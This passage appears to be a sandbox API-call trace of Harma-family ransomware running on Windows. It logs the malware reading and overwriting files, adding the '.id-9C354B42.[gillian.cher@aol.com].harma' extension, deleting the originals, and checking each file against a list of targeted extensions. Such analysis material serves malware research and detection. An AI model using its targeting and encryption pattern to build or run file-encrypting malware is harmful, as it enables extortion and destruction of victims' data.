out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x692, lpOverlapped=0x0) returned 1 [0044.002] WriteFile (in: hFile=0x1a0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0044.003] ReadFile (in: hFile=0x1b0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.003] WriteFile (in: hFile=0x1a0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0044.003] SetEndOfFile (hFile=0x1a0) returned 1 [0044.004] CloseHandle (hObject=0x1a0) returned 1 [0044.005] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.005] SetEndOfFile (hFile=0x1b0) returned 1 [0044.006] CloseHandle (hObject=0x1b0) returned 1 [0044.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0044.006] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.007] lstrlenW (lpString=".doc") returned 4 [0044.007] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.007] lstrlenW (lpString=".docx") returned 5 [0044.007] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0044.007] lstrlenW (lpString=".pdf") returned 4 [0044.007] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.007] lstrlenW (lpString=".xls") returned 4 [0044.007] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.007] lstrlenW (lpString=".xlsx") returned 5 [0044.007] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0044.007] lstrlenW (lpString=".ppt") returned 4 [0044.007] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.007] lstrlenW (lpString=".zip") returned 4 [0044.007] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.007] lstrlenW (lpString=".rar") returned 4 [0044.007] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.007] lstrlenW (lpString=".bz2") returned 4 [0044.007] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.007] lstrlenW (lpString=".7z") returned 3 [0044.007] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.007] lstrlenW (lpString=".dbf") returned 4 [0044.007] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.008] lstrlenW (lpString=".1cd") returned 4 [0044.008] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.008] lstrlenW (lpString=".jpg") returned 4 [0044.008] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.008] lstrlenW (lpString=".doc") returned 4 [0044.008] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.008] lstrlenW (lpString=".docx") returned 5 [0044.008] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0044.008] lstrlenW (lpString=".pdf") returned 4 [0044.008] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.008] lstrlenW (lpString=".xls") returned 4 [0044.008] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.008] lstrlenW (lpString=".xlsx") returned 5 [0044.008] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0044.008] lstrlenW (lpString=".ppt") returned 4 [0044.008] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.008] lstrlenW (lpString=".zip") returned 4 [0044.008] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.008] lstrlenW (lpString=".rar") returned 4 [0044.008] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.008] lstrlenW (lpString=".bz2") returned 4 [0044.008] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.008] lstrlenW (lpString=".7z") returned 3 [0044.008] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.008] lstrlenW (lpString=".dbf") returned 4 [0044.009] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.009] lstrlenW (lpString=".1cd") returned 4 [0044.009] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0044.009] lstrlenW (lpString=".jpg") returned 4 [0044.009] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.009] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0044.009] lstrlenW (lpString="boxed-join.avi") returned 14 [0044.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0047.077] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=33280) returned 1 [0047.077] CloseHandle (hObject=0x1d8) returned 1 [0047.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0047.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.462] lstrlenW (lpString=".doc") returned 4 [0047.462] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.462] lstrlenW (lpString=".docx") returned 5 [0047.462] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0047.462] lstrlenW (lpString=".pdf") returned 4 [0047.462] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.462] lstrlenW (lpString=".xls") returned 4 [0047.462] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.462] lstrlenW (lpString=".xlsx") returned 5 [0047.462] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0047.462] lstrlenW (lpString=".ppt") returned 4 [0047.462] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.462] lstrlenW (lpString=".zip") returned 4 [0047.463] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.463] lstrlenW (lpString=".rar") returned 4 [0047.463] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.463] lstrlenW (lpString=".bz2") returned 4 [0047.463] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.463] lstrlenW (lpString=".7z") returned 3 [0047.463] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.463] lstrlenW (lpString=".dbf") returned 4 [0047.463] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.463] lstrlenW (lpString=".1cd") returned 4 [0047.463] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.463] lstrlenW (lpString=".jpg") returned 4 [0047.463] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.463] lstrlenW (lpString=".doc") returned 4 [0047.463] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.463] lstrlenW (lpString=".docx") returned 5 [0047.463] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0047.463] lstrlenW (lpString=".pdf") returned 4 [0047.463] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.463] lstrlenW (lpString=".xls") returned 4 [0047.463] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.463] lstrlenW (lpString=".xlsx") returned 5 [0047.463] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0047.463] lstrlenW (lpString=".ppt") returned 4 [0047.463] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.464] lstrlenW (lpString=".zip") returned 4 [0047.464] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.464] lstrlenW (lpString=".rar") returned 4 [0047.464] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.464] lstrlenW (lpString=".bz2") returned 4 [0047.464] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.464] lstrlenW (lpString=".7z") returned 3 [0047.464] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.464] lstrlenW (lpString=".dbf") returned 4 [0047.464] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.464] lstrlenW (lpString=".1cd") returned 4 [0047.464] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0047.464] lstrlenW (lpString=".jpg") returned 4 [0047.464] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.464] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.464] lstrlenW (lpString="oskpredbase.xml") returned 15 [0047.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.528] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=924) returned 1 [0047.528] CloseHandle (hObject=0x1a0) returned 1 [0047.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0047.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.529] lstrlenW (lpString=".doc") returned 4 [0047.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.529] lstrlenW (lpString=".docx") returned 5 [0047.529] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0047.529] lstrlenW (lpString=".pdf") returned 4 [0047.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.529] lstrlenW (lpString=".xls") returned 4 [0047.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.529] lstrlenW (lpString=".xlsx") returned 5 [0047.529] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0047.529] lstrlenW (lpString=".ppt") returned 4 [0047.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.529] lstrlenW (lpString=".zip") returned 4 [0047.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.530] lstrlenW (lpString=".rar") returned 4 [0047.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.530] lstrlenW (lpString=".bz2") returned 4 [0047.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.530] lstrlenW (lpString=".7z") returned 3 [0047.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.530] lstrlenW (lpString=".dbf") returned 4 [0047.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.530] lstrlenW (lpString=".1cd") returned 4 [0047.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.530] lstrlenW (lpString=".jpg") returned 4 [0047.531] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.531] lstrlenW (lpString=".doc") returned 4 [0047.531] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.531] lstrlenW (lpString=".docx") returned 5 [0047.531] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0047.531] lstrlenW (lpString=".pdf") returned 4 [0047.531] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.531] lstrlenW (lpString=".xls") returned 4 [0047.531] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.531] lstrlenW (lpString=".xlsx") returned 5 [0047.531] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0047.531] lstrlenW (lpString=".ppt") returned 4 [0047.531] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.532] lstrlenW (lpString=".zip") returned 4 [0047.532] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.532] lstrlenW (lpString=".rar") returned 4 [0047.532] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.532] lstrlenW (lpString=".bz2") returned 4 [0047.532] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.532] lstrlenW (lpString=".7z") returned 3 [0047.532] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.532] lstrlenW (lpString=".dbf") returned 4 [0047.532] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.532] lstrlenW (lpString=".1cd") returned 4 [0047.532] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0047.532] lstrlenW (lpString=".jpg") returned 4 [0047.532] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.532] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.532] lstrlenW (lpString="ja-jp-sym.xml") returned 13 [0047.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.609] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=749) returned 1 [0047.609] CloseHandle (hObject=0x1a0) returned 1 [0047.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0047.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.610] lstrlenW (lpString=".doc") returned 4 [0047.610] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.610] lstrlenW (lpString=".docx") returned 5 [0047.610] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0047.610] lstrlenW (lpString=".pdf") returned 4 [0047.610] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.610] lstrlenW (lpString=".xls") returned 4 [0047.610] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.610] lstrlenW (lpString=".xlsx") returned 5 [0047.610] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0047.610] lstrlenW (lpString=".ppt") returned 4 [0047.610] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.610] lstrlenW (lpString=".zip") returned 4 [0047.610] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.610] lstrlenW (lpString=".rar") returned 4 [0047.610] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.610] lstrlenW (lpString=".bz2") returned 4 [0047.610] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.610] lstrlenW (lpString=".7z") returned 3 [0047.610] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.610] lstrlenW (lpString=".dbf") returned 4 [0047.610] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.610] lstrlenW (lpString=".1cd") returned 4 [0047.610] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.610] lstrlenW (lpString=".jpg") returned 4 [0047.610] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.611] lstrlenW (lpString=".doc") returned 4 [0047.611] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.611] lstrlenW (lpString=".docx") returned 5 [0047.611] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0047.611] lstrlenW (lpString=".pdf") returned 4 [0047.611] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.611] lstrlenW (lpString=".xls") returned 4 [0047.611] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.611] lstrlenW (lpString=".xlsx") returned 5 [0047.611] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0047.611] lstrlenW (lpString=".ppt") returned 4 [0047.611] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.611] lstrlenW (lpString=".zip") returned 4 [0047.611] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.611] lstrlenW (lpString=".rar") returned 4 [0047.611] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.611] lstrlenW (lpString=".bz2") returned 4 [0047.611] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.611] lstrlenW (lpString=".7z") returned 3 [0047.611] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.611] lstrlenW (lpString=".dbf") returned 4 [0047.611] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.611] lstrlenW (lpString=".1cd") returned 4 [0047.611] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0047.611] lstrlenW (lpString=".jpg") returned 4 [0047.612] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.612] lstrcmpiW (lpString1=".dat", lpString2=".harma") returned -1 [0047.612] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0047.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.612] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=46624) returned 1 [0047.612] CloseHandle (hObject=0x1a0) returned 1 [0047.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0047.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.612] lstrlenW (lpString=".doc") returned 4 [0047.613] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 